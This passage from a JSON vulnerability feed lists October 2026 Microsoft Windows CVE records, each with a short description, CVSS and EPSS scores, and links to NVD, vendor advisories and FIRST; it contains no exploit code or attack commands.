2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96957&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96957, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96953","cveId":"CVE-2026-96953","aliases":[],"kind":"vulnerability","title":"Null pointer dereference in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to execute code locally.","summary":"Null pointer dereference in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to execute code locally.","detail":"Null pointer dereference in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to execute code locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:08.087Z","updatedAt":"2026-10-16T17:18:01.087Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96953","asOf":"2026-10-16T17:18:01.087Z"},"epss":{"probability":0.00303,"percentile":0.22816,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96953&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96953","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96953","type":"primary","publishedAt":"2026-10-13T19:22:08.087Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96953","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96953&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96953, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96952","cveId":"CVE-2026-96952","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:07.940Z","updatedAt":"2026-10-16T17:18:00.940Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96952","asOf":"2026-10-16T17:18:00.940Z"},"epss":{"probability":0.00903,"percentile":0.59514,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96952&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96952","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96952","type":"primary","publishedAt":"2026-10-13T19:22:07.940Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96952","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96952&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96952, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96950","cveId":"CVE-2026-96950","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:07.580Z","updatedAt":"2026-10-16T17:18:00.587Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96950","asOf":"2026-10-16T17:18:00.587Z"},"epss":{"probability":0.00353,"percentile":0.28698,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96950&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96950","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96950","type":"primary","publishedAt":"2026-10-13T19:22:07.580Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96950","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96950&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96950, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96949","cveId":"CVE-2026-96949","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:07.407Z","updatedAt":"2026-10-16T17:18:00.413Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96949","asOf":"2026-10-16T17:18:00.413Z"},"epss":{"probability":0.00214,"percentile":0.11661,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96949&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96949","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96949","type":"primary","publishedAt":"2026-10-13T19:22:07.407Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96949","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96949&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96949, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96947","cveId":"CVE-2026-96947","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:07.050Z","updatedAt":"2026-10-16T17:18:00.057Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96947","asOf":"2026-10-16T17:18:00.057Z"},"epss":{"probability":0.00353,"percentile":0.28696,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96947&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96947","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96947","type":"primary","publishedAt":"2026-10-13T19:22:07.050Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96947","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96947&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96947, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96946","cveId":"CVE-2026-96946","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:06.867Z","updatedAt":"2026-10-16T17:17:59.887Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96946","asOf":"2026-10-16T17:17:59.887Z"},"epss":{"probability":0.00353,"percentile":0.28696,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96946&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96946","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96946","type":"primary","publishedAt":"2026-10-13T19:22:06.867Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96946","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96946&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96946, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96945","cveId":"CVE-2026-96945","aliases":[],"kind":"vulnerability","title":"Uncaught exception in Windows Failover Cluster allows an unauthorized attacker to deny service over a network.","summary":"Uncaught exception in Windows Failover Cluster allows an unauthorized attacker to deny service over a network.","detail":"Uncaught exception in Windows Failover Cluster allows an unauthorized attacker to deny service over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:06.733Z","updatedAt":"2026-10-16T10:41:36.403Z","regions":["Global"],"vendor":"microsoft","product":"windows server 2019","stacks":["Microsoft Windows","windows server 2019"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96945","asOf":"2026-10-16T10:41:36.403Z"},"epss":{"probability":0.01054,"percentile":0.64153,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96945&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96945","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96945","type":"primary","publishedAt":"2026-10-13T19:22:06.733Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96945","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96945&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96945, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96943","cveId":"CVE-2026-96943","aliases":[],"kind":"vulnerability","title":"Integer overflow or wraparound in Windows Raw Image Extension allows an unauthorized attacker to execute code over a network.","summary":"Integer overflow or wraparound in Windows Raw Image Extension allows an unauthorized attacker to execute code over a network.","detail":"Integer overflow or wraparound in Windows Raw Image Extension allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:06.470Z","updatedAt":"2026-10-16T19:32:58.403Z","regions":["Global"],"vendor":"microsoft","product":"raw image extension","stacks":["Microsoft Windows","raw image extension"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96943","asOf":"2026-10-16T19:32:58.403Z"},"epss":{"probability":0.00601,"percentile":0.48476,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96943&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96943","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96943","type":"primary","publishedAt":"2026-10-13T19:22:06.470Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96943","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96943&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96943, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96939","cveId":"CVE-2026-96939","aliases":[],"kind":"vulnerability","title":"Time-of-check time-of-use (toctou) race condition in Servicing Stack Updates allows an authorized attacker to elevate privileges locally.","summary":"Time-of-check time-of-use (toctou) race condition in Servicing Stack Updates allows an authorized attacker to elevate privileges locally.","detail":"Time-of-check time-of-use (toctou) race condition in Servicing Stack Updates allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:06.230Z","updatedAt":"2026-10-16T19:33:16.473Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 23h2","stacks":["Microsoft Windows","windows 11 23h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96939","asOf":"2026-10-16T19:33:16.473Z"},"epss":{"probability":0.00228,"percentile":0.13388,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96939&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96939","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96939","type":"primary","publishedAt":"2026-10-13T19:22:06.230Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96939","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96939&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96939, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96937","cveId":"CVE-2026-96937","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:05.917Z","updatedAt":"2026-10-16T17:17:59.393Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 21h2","stacks":["Microsoft Windows","windows 10 21h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96937","asOf":"2026-10-16T17:17:59.393Z"},"epss":{"probability":0.00252,"percentile":0.16461,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96937&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96937","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96937","type":"primary","publishedAt":"2026-10-13T19:22:05.917Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96937","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96937&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96937, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96933","cveId":"CVE-2026-96933","aliases":[],"kind":"vulnerability","title":"Untrusted pointer dereference in Windows COM+ Event System Service allows an authorized attacker to elevate privileges locally.","summary":"Untrusted pointer dereference in Windows COM+ Event System Service allows an authorized attacker to elevate privileges locally.","detail":"Untrusted pointer dereference in Windows COM+ Event System Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:05.417Z","updatedAt":"2026-10-16T16:23:01.853Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96933","asOf":"2026-10-16T16:23:01.853Z"},"epss":{"probability":0.00353,"percentile":0.28696,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96933&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96933","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96933","type":"primary","publishedAt":"2026-10-13T19:22:05.417Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96933","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96933&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96933, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96932","cveId":"CVE-2026-96932","aliases":[],"kind":"vulnerability","title":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Embedded Mode Service allows an authorized attacker to elevate privileges...","summary":"Concurrent execution using shared resource with improper synchronization ('race condition') in 